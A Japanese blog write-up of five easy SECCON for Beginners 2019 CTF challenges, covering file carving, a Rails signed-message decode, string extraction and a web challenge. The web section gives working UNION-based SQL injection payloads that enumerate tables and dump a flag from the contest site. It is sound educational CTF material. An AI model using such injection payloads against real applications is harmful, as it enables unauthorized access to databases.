SECCON for Beginners 2019 Writeup

今回はContrailのメンバーが個人で出てみるという方針だったので、avocadianとしてソロで SECCON for Beginners 2019に参加しました。

最終順位は239/666位(353pt)でした。

Misc: [warmup] Welcome(51pt) / containers(71pt)

Web: [warmup] Ramen(73pt) / katsudon(101pt)

Reversing: [warmup] Seccompare(57pt)

を解きました。

MISC


・[warmup] Welcome(51pt)

SECCON Beginners CTFのIRCチャンネルで会いましょう。

IRC: freenode.net #seccon-beginners-ctf

問題で与えられているIRCに接続するとFlagが書いてある。

ctf4b{welcome_to_seccon_beginners_ctf}

 

・containers(71pt)

Let’s extract files from the container.

https://score.beginners.seccon.jp/files/e35860e49ca3fa367e456207ebc9ff2f_containers

binwalkを実行すると複数のPNGが含まれていることが確認できる。
foremostでPNGを抽出する。

foremost -T png e35860e49ca3fa367e456207ebc9ff2f_containers

Flagが一文字ずつPNGとして保存されていた。

ctf4b{e52df60c058746a66e4ac4f34db6fc81}

 

WEB


・[warmup] Ramen(73pt)

ラーメン https://ramen.quals.beginners.seccon.jp

名前をGETで受け取りクエリを実行、一致したカラムを表示するというWebページ。

SQLinjectionが確認できたので、以下のクエリで存在しているテーブルを表示する。

' or 'a'='a' UNION SELECT table_name,2 FROM information_schema.tables #

FLAGというテーブルがありいかにもflagが書かれてそうだったので、以下のクエリでカラム名を取得。

' UNION SELECT COLUMN_NAME, 2 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name = 'flag' #

falgというカラムがあることがわかったので、以下のクエリでflagカラムを表示するとFlag。

' UNION SELECT flag,flag FROM flag #

ctf4b{a_simple_sql_injection_with_union_select}

参考:http://kyonta1022.hatenablog.com/entry/2018/06/19/004857

 

・katsudon(101pt)

Rails 5.2.1で作られたサイトです。

https://katsudon.quals.beginners.seccon.jp

クーポンコードを復号するコードは以下の通りですが、まだ実装されてないようです。

フラグは以下にあります。https://katsudon.quals.beginners.seccon.jp/flag

# app/controllers/coupon_controller.rb

class CouponController < ApplicationController
def index
end

def show
  serial_code = params[:serial_code]
  @coupon_id = Rails.application.message_verifier(:coupon).verify(serial_code)
  end
end

フラグが書いてあるページにアクセスすると以下のような文字列が表示されていた。

BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU–0def7fcd357f759fe8da819edd081a3a73b6052a

問題ページにアクセスすると同様の文字列が3つあり文字列の先頭がBAhJIhで統一されていた。

3つめの文字列中に==が含まれていたのでBAhIh + base64の形だろうと当たりをつけてbase64でフラグページの文字列をbase64でデコードしたらFlagが得られた。

ctf4b{K33P_Y0UR_53CR37_K3Y_B453}

あまりにも簡単だったが、どうやら出題ミスだったらしい。

 

Reversing


・[warmup] Seccompare(57pt)

与えられたバイナリをGhidra等のツールで見るとFlagらしきバイト列が見つかったのでASCiiとして読むと以下の文字列が得られる。

tf4b{5tr1ngs_1s_n0t_en0ugh}

cが足りないので付け足すと通った。

ctf4b{5tr1ngs_1s_n0t_en0ugh}

 

感想


今回はセキュキャンの課題に追われていてほとんど参加できなかった。

今回解けた問題は秒殺できたやつだけなので、他の方のWriteupを見ながら他の問題も復習したい。